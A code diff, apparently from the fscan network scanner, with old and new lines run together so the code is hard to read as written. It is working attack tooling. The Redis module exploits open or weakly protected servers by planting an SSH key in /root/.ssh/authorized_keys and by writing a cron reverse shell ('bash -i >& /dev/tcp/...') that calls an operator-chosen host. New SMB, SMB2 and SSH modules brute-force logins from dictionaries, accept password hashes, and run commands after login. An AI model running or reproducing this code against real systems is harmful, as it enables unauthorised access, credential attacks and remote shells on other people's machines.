flag = false func RedisConn(info *Common.HostInfo, pass string) (bool, error) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
if err != nil { if err != nil {
return flag, err return false, err
} }
defer conn.Close() defer conn.Close()
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil { // 设置超时
return flag, err if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return false, err
} }
_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
if err != nil { // 发送认证命令
return flag, err if _, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass))); err != nil {
return false, err
} }
// 读取响应
reply, err := readreply(conn) reply, err := readreply(conn)
if err != nil { if err != nil {
return flag, err return false, err
} }
// 认证成功
if strings.Contains(reply, "+OK") { if strings.Contains(reply, "+OK") {
flag = true // 获取配置信息
dbfilename, dir, err = getconfig(conn) dbfilename, dir, err = getconfig(conn)
if err != nil { if err != nil {
result := fmt.Sprintf("[+] Redis %s %s", realhost, pass) result := fmt.Sprintf("[+] Redis %s %s", realhost, pass)
common.LogSuccess(result) Common.LogSuccess(result)
return flag, err return true, err
} else {
result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename)
common.LogSuccess(result)
} }
result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename)
Common.LogSuccess(result)
// 尝试利用
err = Expoilt(realhost, conn) err = Expoilt(realhost, conn)
return true, err
} }
return flag, err
return false, err
} }
func RedisUnauth(info *common.HostInfo) (flag bool, err error) { // RedisUnauth 尝试Redis未授权访问检测
func RedisUnauth(info *Common.HostInfo) (flag bool, err error) {
flag = false flag = false
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis连接失败 %s: %v", realhost, err))
return flag, err return flag, err
} }
defer conn.Close() defer conn.Close()
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil { // 设置读取超时
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %s 设置超时失败: %v", realhost, err))
return flag, err return flag, err
} }
// 发送info命令测试未授权访问
_, err = conn.Write([]byte("info\r\n")) _, err = conn.Write([]byte("info\r\n"))
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %s 发送命令失败: %v", realhost, err))
return flag, err return flag, err
} }
// 读取响应
reply, err := readreply(conn) reply, err := readreply(conn)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %s 读取响应失败: %v", realhost, err))
return flag, err return flag, err
} }
// 判断是否存在未授权访问
if strings.Contains(reply, "redis_version") { if strings.Contains(reply, "redis_version") {
flag = true flag = true
// 获取Redis配置信息
dbfilename, dir, err = getconfig(conn) dbfilename, dir, err = getconfig(conn)
if err != nil { if err != nil {
result := fmt.Sprintf("[+] Redis %s unauthorized", realhost) result := fmt.Sprintf("[+] Redis %s 发现未授权访问", realhost)
common.LogSuccess(result) Common.LogSuccess(result)
return flag, err return flag, err
} else {
result := fmt.Sprintf("[+] Redis %s unauthorized file:%s/%s", realhost, dir, dbfilename)
common.LogSuccess(result)
} }
// 输出详细信息
result := fmt.Sprintf("[+] Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
Common.LogSuccess(result)
// 尝试漏洞利用
err = Expoilt(realhost, conn) err = Expoilt(realhost, conn)
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %s 漏洞利用失败: %v", realhost, err))
}
} }
return flag, err return flag, err
} }
// Expoilt 尝试Redis漏洞利用
func Expoilt(realhost string, conn net.Conn) error { func Expoilt(realhost string, conn net.Conn) error {
if common.Noredistest { // 如果配置为不进行测试则直接返回
if Common.Noredistest {
return nil return nil
} }
// 测试目录写入权限
flagSsh, flagCron, err := testwrite(conn) flagSsh, flagCron, err := testwrite(conn)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %v 测试写入权限失败: %v", realhost, err))
return err return err
} }
if flagSsh == true {
result := fmt.Sprintf("[+] Redis %v like can write /root/.ssh/", realhost) // SSH密钥写入测试
common.LogSuccess(result) if flagSsh {
if common.RedisFile != "" { Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /root/.ssh/", realhost))
writeok, text, err := writekey(conn, common.RedisFile)
// 如果指定了密钥文件则尝试写入
if Common.RedisFile != "" {
writeok, text, err := writekey(conn, Common.RedisFile)
if err != nil { if err != nil {
fmt.Println(fmt.Sprintf("[-] %v SSH write key errer: %v", realhost, text)) Common.LogError(fmt.Sprintf("[-] Redis %v SSH密钥写入错误: %v %v", realhost, text, err))
return err return err
} }
if writeok { if writeok {
result := fmt.Sprintf("[+] Redis %v SSH public key was written successfully", realhost) Common.LogSuccess(fmt.Sprintf("[+] Redis %v SSH公钥写入成功", realhost))
common.LogSuccess(result)
} else { } else {
fmt.Println("[-] Redis ", realhost, "SSHPUB write failed", text) Common.LogError(fmt.Sprintf("[-] Redis %v SSH公钥写入失败: %v", realhost, text))
} }
} }
} }
if flagCron == true { // 定时任务写入测试
result := fmt.Sprintf("[+] Redis %v like can write /var/spool/cron/", realhost) if flagCron {
common.LogSuccess(result) Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /var/spool/cron/", realhost))
if common.RedisShell != "" {
writeok, text, err := writecron(conn, common.RedisShell) // 如果指定了shell命令则尝试写入定时任务
if Common.RedisShell != "" {
writeok, text, err := writecron(conn, Common.RedisShell)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入错误: %v", realhost, err))
return err return err
} }
if writeok { if writeok {
result := fmt.Sprintf("[+] Redis %v /var/spool/cron/root was written successfully", realhost) Common.LogSuccess(fmt.Sprintf("[+] Redis %v 成功写入 /var/spool/cron/root", realhost))
common.LogSuccess(result)
} else { } else {
fmt.Println("[-] Redis ", realhost, "cron write failed", text) Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入失败: %v", realhost, text))
} }
} }
} }
err = recoverdb(dbfilename, dir, conn)
// 恢复数据库配置
if err = recoverdb(dbfilename, dir, conn); err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %v 恢复数据库失败: %v", realhost, err))
}
return err return err
} }
// writekey 向Redis写入SSH密钥
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) { func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
flag = false flag = false
// 设置文件目录为SSH目录
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")) _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
if err != nil { if err != nil {
return flag, text, err return flag, text, err
@ -173,8 +239,10 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
if err != nil { if err != nil {
return flag, text, err return flag, text, err
} }
// 设置文件名为authorized_keys
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
_, err := conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n")) _, err = conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n"))
if err != nil { if err != nil {
return flag, text, err return flag, text, err
} }
@ -182,16 +250,21 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
if err != nil { if err != nil {
return flag, text, err return flag, text, err
} }
// 读取并写入SSH密钥
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
// 读取密钥文件
key, err := Readfile(filename) key, err := Readfile(filename)
if err != nil { if err != nil {
text = fmt.Sprintf("Open %s error, %v", filename, err) text = fmt.Sprintf("[-] 读取密钥文件 %s 失败: %v", filename, err)
return flag, text, err return flag, text, err
} }
if len(key) == 0 { if len(key) == 0 {
text = fmt.Sprintf("the keyfile %s is empty", filename) text = fmt.Sprintf("[-] 密钥文件 %s 为空", filename)
return flag, text, err return flag, text, err
} }
// 写入密钥
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))) _, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
if err != nil { if err != nil {
return flag, text, err return flag, text, err
@ -200,6 +273,8 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
if err != nil { if err != nil {
return flag, text, err return flag, text, err
} }
// 保存更改
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
_, err = conn.Write([]byte("save\r\n")) _, err = conn.Write([]byte("save\r\n"))
if err != nil { if err != nil {
@ -215,16 +290,21 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
} }
} }
} }
// 截断过长的响应文本
text = strings.TrimSpace(text) text = strings.TrimSpace(text)
if len(text) > 50 { if len(text) > 50 {
text = text[:50] text = text[:50]
} }
return flag, text, err return flag, text, err
} }
// writecron 向Redis写入定时任务
func writecron(conn net.Conn, host string) (flag bool, text string, err error) { func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
flag = false flag = false
// 尝试写入Ubuntu的路径
// 首先尝试Ubuntu系统的cron路径
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n")) _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n"))
if err != nil { if err != nil {
return flag, text, err return flag, text, err
@ -233,8 +313,9 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
if err != nil { if err != nil {
return flag, text, err return flag, text, err
} }
// 如果Ubuntu路径失败尝试CentOS系统的cron路径
if !strings.Contains(text, "OK") { if !strings.Contains(text, "OK") {
// 如果没有返回"OK"可能是CentOS尝试CentOS的路径
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")) _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
if err != nil { if err != nil {
return flag, text, err return flag, text, err
@ -244,7 +325,10 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
return flag, text, err return flag, text, err
} }
} }
// 如果成功设置目录,继续后续操作
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
// 设置数据库文件名为root
_, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n")) _, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n"))
if err != nil { if err != nil {
return flag, text, err return flag, text, err
@ -253,13 +337,19 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
if err != nil { if err != nil {
return flag, text, err return flag, text, err
} }
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
// 解析目标主机地址
target := strings.Split(host, ":") target := strings.Split(host, ":")
if len(target) < 2 { if len(target) < 2 {
return flag, "host error", err return flag, "[-] 主机地址格式错误", err
} }
scanIp, scanPort := target[0], target[1] scanIp, scanPort := target[0], target[1]
_, err = conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)))
// 写入反弹shell的定时任务
cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",
scanIp, scanPort)
_, err = conn.Write([]byte(cronCmd))
if err != nil { if err != nil {
return flag, text, err return flag, text, err
} }
@ -267,6 +357,8 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
if err != nil { if err != nil {
return flag, text, err return flag, text, err
} }
// 保存更改
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
_, err = conn.Write([]byte("save\r\n")) _, err = conn.Write([]byte("save\r\n"))
if err != nil { if err != nil {
@ -282,19 +374,24 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
} }
} }
} }
// 截断过长的响应文本
text = strings.TrimSpace(text) text = strings.TrimSpace(text)
if len(text) > 50 { if len(text) > 50 {
text = text[:50] text = text[:50]
} }
return flag, text, err return flag, text, err
} }
// Readfile 读取文件内容并返回第一个非空行
func Readfile(filename string) (string, error) { func Readfile(filename string) (string, error) {
file, err := os.Open(filename) file, err := os.Open(filename)
if err != nil { if err != nil {
return "", err return "", err
} }
defer file.Close() defer file.Close()
scanner := bufio.NewScanner(file) scanner := bufio.NewScanner(file)
for scanner.Scan() { for scanner.Scan() {
text := strings.TrimSpace(scanner.Text()) text := strings.TrimSpace(scanner.Text())
@ -305,28 +402,35 @@ func Readfile(filename string) (string, error) {
return "", err return "", err
} }
// readreply 读取Redis服务器响应
func readreply(conn net.Conn) (string, error) { func readreply(conn net.Conn) (string, error) {
// 设置1秒读取超时
conn.SetReadDeadline(time.Now().Add(time.Second)) conn.SetReadDeadline(time.Now().Add(time.Second))
bytes, err := io.ReadAll(conn) bytes, err := io.ReadAll(conn)
// 如果读取到内容则不返回错误
if len(bytes) > 0 { if len(bytes) > 0 {
err = nil err = nil
} }
return string(bytes), err return string(bytes), err
} }
// testwrite 测试Redis写入权限
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) { func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
var text string // 测试SSH目录写入权限
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")) _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
if err != nil { if err != nil {
return flag, flagCron, err return flag, flagCron, err
} }
text, err = readreply(conn) text, err := readreply(conn)
if err != nil { if err != nil {
return flag, flagCron, err return flag, flagCron, err
} }
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
flag = true flag = true
} }
// 测试定时任务目录写入权限
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")) _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
if err != nil { if err != nil {
return flag, flagCron, err return flag, flagCron, err
@ -338,10 +442,13 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
flagCron = true flagCron = true
} }
return flag, flagCron, err return flag, flagCron, err
} }
// getconfig 获取Redis配置信息
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) { func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
// 获取数据库文件名
_, err = conn.Write([]byte("CONFIG GET dbfilename\r\n")) _, err = conn.Write([]byte("CONFIG GET dbfilename\r\n"))
if err != nil { if err != nil {
return return
@ -350,12 +457,16 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
if err != nil { if err != nil {
return return
} }
// 解析数据库文件名
text1 := strings.Split(text, "\r\n") text1 := strings.Split(text, "\r\n")
if len(text1) > 2 { if len(text1) > 2 {
dbfilename = text1[len(text1)-2] dbfilename = text1[len(text1)-2]
} else { } else {
dbfilename = text1[0] dbfilename = text1[0]
} }
// 获取数据库目录
_, err = conn.Write([]byte("CONFIG GET dir\r\n")) _, err = conn.Write([]byte("CONFIG GET dir\r\n"))
if err != nil { if err != nil {
return return
@ -364,16 +475,21 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
if err != nil { if err != nil {
return return
} }
// 解析数据库目录
text1 = strings.Split(text, "\r\n") text1 = strings.Split(text, "\r\n")
if len(text1) > 2 { if len(text1) > 2 {
dir = text1[len(text1)-2] dir = text1[len(text1)-2]
} else { } else {
dir = text1[0] dir = text1[0]
} }
return return
} }
// recoverdb 恢复Redis数据库配置
func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) { func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
// 恢复数据库文件名
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename))) _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename)))
if err != nil { if err != nil {
return return
@ -382,6 +498,8 @@ func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
if err != nil { if err != nil {
return return
} }
// 恢复数据库目录
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir))) _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
if err != nil { if err != nil {
return return
@ -390,5 +508,6 @@ func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
if err != nil { if err != nil {
return return
} }
return return
} }

110
Plugins/SMB.go Normal file
View File

@ -0,0 +1,110 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/stacktitan/smb/smb"
"strings"
"time"
)
// SmbScan 执行SMB服务的认证扫描
func SmbScan(info *Common.HostInfo) (tmperr error) {
// 如果未启用暴力破解则直接返回
if Common.IsBrute {
return nil
}
startTime := time.Now().Unix()
// 遍历用户名和密码字典进行认证尝试
for _, user := range Common.Userdict["smb"] {
for _, pass := range Common.Passwords {
// 替换密码中的用户名占位符
pass = strings.Replace(pass, "{user}", user, -1)
// 执行带超时的认证
success, err := doWithTimeOut(info, user, pass)
if success && err == nil {
// 认证成功,记录结果
var result string
if Common.Domain != "" {
result = fmt.Sprintf("[✓] SMB认证成功 %v:%v Domain:%v\\%v Pass:%v",
info.Host, info.Ports, Common.Domain, user, pass)
} else {
result = fmt.Sprintf("[✓] SMB认证成功 %v:%v User:%v Pass:%v",
info.Host, info.Ports, user, pass)
}
Common.LogSuccess(result)
return err
} else {
// 认证失败,记录错误
errorMsg := fmt.Sprintf("[x] SMB认证失败 %v:%v User:%v Pass:%v Err:%v",
info.Host, info.Ports, user, pass,
strings.ReplaceAll(err.Error(), "\n", ""))
Common.LogError(errorMsg)
tmperr = err
// 检查是否需要中断扫描
if Common.CheckErrs(err) {
return err
}
// 检查是否超时
timeoutLimit := int64(len(Common.Userdict["smb"])*len(Common.Passwords)) * Common.Timeout
if time.Now().Unix()-startTime > timeoutLimit {
return err
}
}
}
}
return tmperr
}
// SmblConn 尝试建立SMB连接并进行认证
func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
flag = false
// 配置SMB连接选项
options := smb.Options{
Host: info.Host,
Port: 445,
User: user,
Password: pass,
Domain: Common.Domain,
Workstation: "",
}
// 尝试建立SMB会话
session, err := smb.NewSession(options, false)
if err == nil {
defer session.Close()
if session.IsAuthenticated {
flag = true
}
}
// 发送完成信号
signal <- struct{}{}
return flag, err
}
// doWithTimeOut 执行带超时的SMB连接认证
func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool, err error) {
signal := make(chan struct{})
// 在goroutine中执行SMB连接
go func() {
flag, err = SmblConn(info, user, pass, signal)
}()
// 等待连接结果或超时
select {
case <-signal:
return flag, err
case <-time.After(time.Duration(Common.Timeout) * time.Second):
return false, errors.New("[!] SMB连接超时")
}
}

224
Plugins/SMB2.go Normal file
View File

@ -0,0 +1,224 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"net"
"os"
"strings"
"time"
"github.com/hirochachacha/go-smb2"
)
// SmbScan2 执行SMB2服务的认证扫描支持密码和哈希两种认证方式
func SmbScan2(info *Common.HostInfo) (tmperr error) {
// 如果未启用暴力破解则直接返回
if Common.IsBrute {
return nil
}
hasprint := false
startTime := time.Now().Unix()
// 使用哈希认证模式
if len(Common.HashBytes) > 0 {
return smbHashScan(info, hasprint, startTime)
}
// 使用密码认证模式
return smbPasswordScan(info, hasprint, startTime)
}
// smbHashScan 使用哈希进行认证扫描
func smbHashScan(info *Common.HostInfo, hasprint bool, startTime int64) error {
for _, user := range Common.Userdict["smb"] {
for _, hash := range Common.HashBytes {
success, err, printed := Smb2Con(info, user, "", hash, hasprint)
if printed {
hasprint = true
}
if success {
logSuccessfulAuth(info, user, "", hash)
return err
}
logFailedAuth(info, user, "", hash, err)
if shouldStopScan(err, startTime, len(Common.Userdict["smb"])*len(Common.HashBytes)) {
return err
}
if len(Common.Hash) > 0 {
break
}
}
}
return nil
}
// smbPasswordScan 使用密码进行认证扫描
func smbPasswordScan(info *Common.HostInfo, hasprint bool, startTime int64) error {
for _, user := range Common.Userdict["smb"] {
for _, pass := range Common.Passwords {
pass = strings.ReplaceAll(pass, "{user}", user)
success, err, printed := Smb2Con(info, user, pass, []byte{}, hasprint)
if printed {
hasprint = true
}
if success {
logSuccessfulAuth(info, user, pass, []byte{})
return err
}
logFailedAuth(info, user, pass, []byte{}, err)
if shouldStopScan(err, startTime, len(Common.Userdict["smb"])*len(Common.Passwords)) {
return err
}
if len(Common.Hash) > 0 {
break
}
}
}
fmt.Println("[+] Smb2扫描模块结束...")
return nil
}
// logSuccessfulAuth 记录成功的认证
func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) {
var result string
if Common.Domain != "" {
result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v Domain:%v\\%v ",
info.Host, info.Ports, Common.Domain, user)
} else {
result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v User:%v ",
info.Host, info.Ports, user)
}
if len(hash) > 0 {
result += fmt.Sprintf("Hash:%v", Common.Hash)
} else {
result += fmt.Sprintf("Pass:%v", pass)
}
Common.LogSuccess(result)
}
// logFailedAuth 记录失败的认证
func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) {
var errlog string
if len(hash) > 0 {
errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Hash:%v Err:%v",
info.Host, info.Ports, user, Common.Hash, err)
} else {
errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Pass:%v Err:%v",
info.Host, info.Ports, user, pass, err)
}
errlog = strings.ReplaceAll(errlog, "\n", " ")
Common.LogError(errlog)
}
// shouldStopScan 检查是否应该停止扫描
func shouldStopScan(err error, startTime int64, totalAttempts int) bool {
if Common.CheckErrs(err) {
return true
}
if time.Now().Unix()-startTime > (int64(totalAttempts) * Common.Timeout) {
return true
}
return false
}
// Smb2Con 尝试SMB2连接并进行认证检查共享访问权限
func Smb2Con(info *Common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
// 建立TCP连接
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:445", info.Host),
time.Duration(Common.Timeout)*time.Second)
if err != nil {
return false, fmt.Errorf("连接失败: %v", err), false
}
defer conn.Close()
// 配置NTLM认证
initiator := smb2.NTLMInitiator{
User: user,
Domain: Common.Domain,
}
// 设置认证方式(哈希或密码)
if len(hash) > 0 {
initiator.Hash = hash
} else {
initiator.Password = pass
}
// 创建SMB2会话
d := &smb2.Dialer{
Initiator: &initiator,
}
session, err := d.Dial(conn)
if err != nil {
return false, fmt.Errorf("SMB2会话建立失败: %v", err), false
}
defer session.Logoff()
// 获取共享列表
shares, err := session.ListSharenames()
if err != nil {
return false, fmt.Errorf("获取共享列表失败: %v", err), false
}
// 打印共享信息(如果未打印过)
if !hasprint {
logShareInfo(info, user, pass, hash, shares)
flag2 = true
}
// 尝试访问C$共享以验证管理员权限
fs, err := session.Mount("C$")
if err != nil {
return false, fmt.Errorf("挂载C$失败: %v", err), flag2
}
defer fs.Umount()
// 尝试读取系统文件以验证权限
path := `Windows\win.ini`
f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
if err != nil {
return false, fmt.Errorf("访问系统文件失败: %v", err), flag2
}
defer f.Close()
return true, nil, flag2
}
// logShareInfo 记录SMB共享信息
func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, shares []string) {
var result string
// 构建基础信息
if Common.Domain != "" {
result = fmt.Sprintf("[*] SMB2共享信息 %v:%v Domain:%v\\%v ",
info.Host, info.Ports, Common.Domain, user)
} else {
result = fmt.Sprintf("[*] SMB2共享信息 %v:%v User:%v ",
info.Host, info.Ports, user)
}
// 添加认证信息
if len(hash) > 0 {
result += fmt.Sprintf("Hash:%v ", Common.Hash)
} else {
result += fmt.Sprintf("Pass:%v ", pass)
}
// 添加共享列表
result += fmt.Sprintf("可用共享: %v", shares)
Common.LogSuccess(result)
}

225
Plugins/SSH.go Normal file
View File

@ -0,0 +1,225 @@
package Plugins
import (
"context"
"fmt"
"github.com/shadow1ng/fscan/Common"
"golang.org/x/crypto/ssh"
"io/ioutil"
"net"
"strings"
"time"
)
func SshScan(info *Common.HostInfo) (tmperr error) {
if Common.IsBrute {
return
}
// 增加全局扫描超时
scanCtx, scanCancel := context.WithTimeout(context.Background(), time.Duration(Common.Timeout*2)*time.Second)
defer scanCancel()
for _, user := range Common.Userdict["ssh"] {
for _, pass := range Common.Passwords {
// 使用全局 context 创建子 context
ctx, cancel := context.WithTimeout(scanCtx, time.Duration(Common.Timeout)*time.Second)
// 替换密码中的用户名占位符
pass = strings.Replace(pass, "{user}", user, -1)
currentUser := user
currentPass := pass
// 创建结果通道
done := make(chan struct {
success bool
err error
}, 1)
// 在 goroutine 中执行单次连接尝试
go func() {
success, err := SshConn(ctx, info, currentUser, currentPass)
select {
case done <- struct {
success bool
err error
}{success, err}:
case <-ctx.Done():
}
}()
// 等待连接结果或超时
var err error
select {
case result := <-done:
err = result.err
if result.success {
cancel()
return err
}
case <-ctx.Done():
err = fmt.Errorf("[-] 连接超时: %v", ctx.Err())
}
cancel()
// 记录失败信息
if err != nil {
errlog := fmt.Sprintf("[-] SSH认证失败 %v:%v User:%v Pass:%v Err:%v",
info.Host, info.Ports, currentUser, currentPass, err)
Common.LogError(errlog)
tmperr = err
}
// 检查是否需要中断扫描
if Common.CheckErrs(err) {
return err
}
// 检查全局超时
if scanCtx.Err() != nil {
return fmt.Errorf("扫描总时间超时: %v", scanCtx.Err())
}
// 如果指定了SSH密钥则不进行密码尝试
if Common.SshKey != "" {
return err
}
}
}
return tmperr
}
func SshConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (flag bool, err error) {
// 准备认证方法
var auth []ssh.AuthMethod
if Common.SshKey != "" {
pemBytes, err := ioutil.ReadFile(Common.SshKey)
if err != nil {
return false, fmt.Errorf("[-] 读取密钥失败: %v", err)
}
signer, err := ssh.ParsePrivateKey(pemBytes)
if err != nil {
return false, fmt.Errorf("[-] 解析密钥失败: %v", err)
}
auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
} else {
auth = []ssh.AuthMethod{ssh.Password(pass)}
}
config := &ssh.ClientConfig{
User: user,
Auth: auth,
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil
},
Timeout: time.Duration(Common.Timeout) * time.Second,
}
// 使用带超时的 Dial
conn, err := (&net.Dialer{Timeout: time.Duration(Common.Timeout) * time.Second}).DialContext(ctx, "tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports))
if err != nil {
return false, err
}
defer conn.Close()
// 设置连接超时
if deadline, ok := ctx.Deadline(); ok {
conn.SetDeadline(deadline)
}
// 创建一个新的 context 用于 SSH 握手
sshCtx, sshCancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
defer sshCancel()
// 使用 channel 来控制 SSH 握手的超时
sshDone := make(chan struct {
client *ssh.Client
err error
}, 1)
go func() {
sshConn, chans, reqs, err := ssh.NewClientConn(conn, fmt.Sprintf("%v:%v", info.Host, info.Ports), config)
if err != nil {
sshDone <- struct {
client *ssh.Client
err error
}{nil, err}
return
}
client := ssh.NewClient(sshConn, chans, reqs)
sshDone <- struct {
client *ssh.Client
err error
}{client, nil}
}()
// 等待 SSH 握手完成或超时
var client *ssh.Client
select {
case result := <-sshDone:
if result.err != nil {
return false, result.err
}
client = result.client
case <-sshCtx.Done():
return false, fmt.Errorf("SSH握手超时: %v", sshCtx.Err())
}
defer client.Close()
// 创建会话
session, err := client.NewSession()
if err != nil {
return false, err
}
defer session.Close()
flag = true
if Common.Command != "" {
// 执行命令的通道
cmdDone := make(chan struct {
output []byte
err error
}, 1)
go func() {
output, err := session.CombinedOutput(Common.Command)
select {
case cmdDone <- struct {
output []byte
err error
}{output, err}:
case <-ctx.Done():
}
}()
select {
case <-ctx.Done():
return true, fmt.Errorf("命令执行超时: %v", ctx.Err())
case result := <-cmdDone:
if result.err != nil {
return true, result.err
}
if Common.SshKey != "" {
Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v\n命令输出:\n%v",
info.Host, info.Ports, string(result.output)))
} else {
Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v",
info.Host, info.Ports, user, pass, string(result.output)))
}
}
} else {
if Common.SshKey != "" {
Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v",
info.Host, info.Ports))
} else {
Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v",
info.Host, info.Ports, user, pass))
}
}
return flag, nil
}

View File

@ -5,7 +5,7 @@ import (
"fmt" "fmt"
"time" "time"
"github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/Common"
) )
const ( const (
@ -94,35 +94,68 @@ const (
"\x00\x00\x00\x00" "\x00\x00\x00\x00"
) )
func SmbGhost(info *common.HostInfo) error { // SmbGhost 检测SMB Ghost漏洞(CVE-2020-0796)的入口函数
if common.IsBrute { func SmbGhost(info *Common.HostInfo) error {
// 如果开启了暴力破解模式,跳过该检测
if Common.IsBrute {
return nil return nil
} }
// 执行实际的SMB Ghost漏洞扫描
err := SmbGhostScan(info) err := SmbGhostScan(info)
return err return err
} }
